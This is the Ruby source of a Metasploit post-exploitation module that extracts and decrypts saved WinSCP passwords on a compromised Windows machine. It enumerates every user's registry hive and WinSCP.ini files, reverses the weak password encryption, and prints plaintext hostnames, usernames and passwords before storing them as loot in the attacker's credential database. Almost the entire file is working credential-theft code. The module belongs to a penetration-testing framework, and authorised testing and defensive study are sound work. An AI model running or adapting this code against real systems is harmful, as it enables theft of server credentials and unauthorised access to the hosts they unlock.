metasploit-framework/modules/post/windows/gather/credentials/winscp.rb

191 lines
6.1 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/parser/ini'
require 'rex/parser/winscp'
require 'msf/core/auxiliary/report'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
include Msf::Post::Windows::UserProfiles
include Msf::Post::File
include Rex::Parser::WinSCP
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather WinSCP Saved Password Extraction',
'Description' => %q{
This module extracts weakly encrypted saved passwords from
WinSCP. It searches for saved sessions in the Windows Registry
and the WinSCP.ini file. It cannot decrypt passwords if a master
password is used.
},
'License' => MSF_LICENSE,
'Author' => [ 'theLightCosine'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def get_reg
# Enumerate all the SID in HKEY_Users and see if any of them have WinSCP RegistryKeys.
regexists = 0
userhives=load_missing_hives()
userhives.each do |hive|
next if hive['HKU'] == nil
master_key = "#{hive['HKU']}\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security"
masterpw = registry_getvaldata(master_key, 'UseMasterPassword')
#No WinSCP Keys here
next if masterpw.nil?
regexists = 1
if masterpw == 1
# Master Password used to add AES256 encryption to stored password
print_error("User #{hive['HKU']} is using a Master Password, cannot recover passwords")
next
else
# Take a look at any saved sessions
savedpwds = 0
session_key = "#{hive['HKU']}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions"
saved_sessions = registry_enumkeys(session_key)
next if saved_sessions.nil?
saved_sessions.each do |saved_session|
# Skip default settings entry
next if saved_session == "Default%20Settings"
active_session = "#{hive['HKU']}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\#{saved_session}"
password = registry_getvaldata(active_session, 'Password')
# There is no password saved for this session, so we skip it
next if password == nil
savedpwds = 1
portnum = registry_getvaldata(active_session, 'PortNumber')
if portnum == nil
# If no explicit port number entry exists, it is set to default port of tcp22
portnum = 22
end
encrypted_password = password
user = registry_getvaldata(active_session, 'UserName') || ""
fsprotocol = registry_getvaldata(active_session, 'FSProtocol') || ""
sname = parse_protocol(fsprotocol)
host = registry_getvaldata(active_session, 'HostName') || ""
plaintext = decrypt_password(encrypted_password, "#{user}#{host}")
winscp_store_config({
hostname: host,
username: user,
password: plaintext,
portnumber: portnum,
protocol: sname
})
end
if savedpwds == 0
print_status("No Saved Passwords found in the Session Registry Keys")
end
end
end
if regexists == 0
print_status("No WinSCP Registry Keys found!")
end
unload_our_hives(userhives)
end
def run
print_status("Looking for WinSCP.ini file storage...")
# WinSCP is only x86...
if sysinfo['Architecture'] == 'x86'
prog_files_env = 'ProgramFiles'
else
prog_files_env = 'ProgramFiles(x86)'
end
env = get_envs('APPDATA', prog_files_env, 'USERNAME')
if env['APPDATA'].nil?
fail_with(Failure::Unknown, 'Target does not have environment variable APPDATA')
elsif env[prog_files_env].nil?
fail_with(Failure::Unknown, "Target does not have environment variable #{prog_files_env}")
elsif env['USERNAME'].nil?
fail_with(Failure::Unknown, 'Target does not have environment variable USERNAME')
end
user_dir = "#{env['APPDATA']}\\..\\.."
user_dir << "\\.." if user_dir.include?('Users')
users = dir(user_dir)
users.each do |user|
next if user == "." || user == ".."
app_data = "#{env['APPDATA'].gsub(env['USERNAME'], user)}\\WinSCP.ini"
vprint_status("Looking for #{app_data}...")
get_ini(app_data) if file?(app_data)
end
program_files = "#{env[prog_files_env]}\\WinSCP\\WinSCP.ini"
get_ini(program_files) if file?(program_files)
print_status("Looking for Registry storage...")
get_reg
end
def get_ini(file_path)
print_good("WinSCP.ini located at #{file_path}")
file = read_file(file_path)
stored_path = store_loot('winscp.ini', 'text/plain', session, file, 'WinSCP.ini', file_path)
print_good("WinSCP saved to loot: #{stored_path}")
parse_ini(file).each do |res|
winscp_store_config(res)
end
end
def winscp_store_config(config)
begin
res = client.net.resolve.resolve_host(config[:hostname], AF_INET)
ip = res[:ip] if res
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Unable to store following credentials in database as we are unable to resolve the IP address: #{e}")
ensure
print_good("Host: #{config[:hostname]}, IP: #{ip}, Port: #{config[:portnumber]}, Service: #{config[:protocol]}, Username: #{config[:username]}, Password: #{config[:password]}")
end
return unless ip
service_data = {
address: ip,
port: config[:portnumber],
service_name: config[:protocol],
protocol: 'tcp',
workspace_id: myworkspace_id,
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :password,
private_data: config[:password],
username: config[:username]
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
end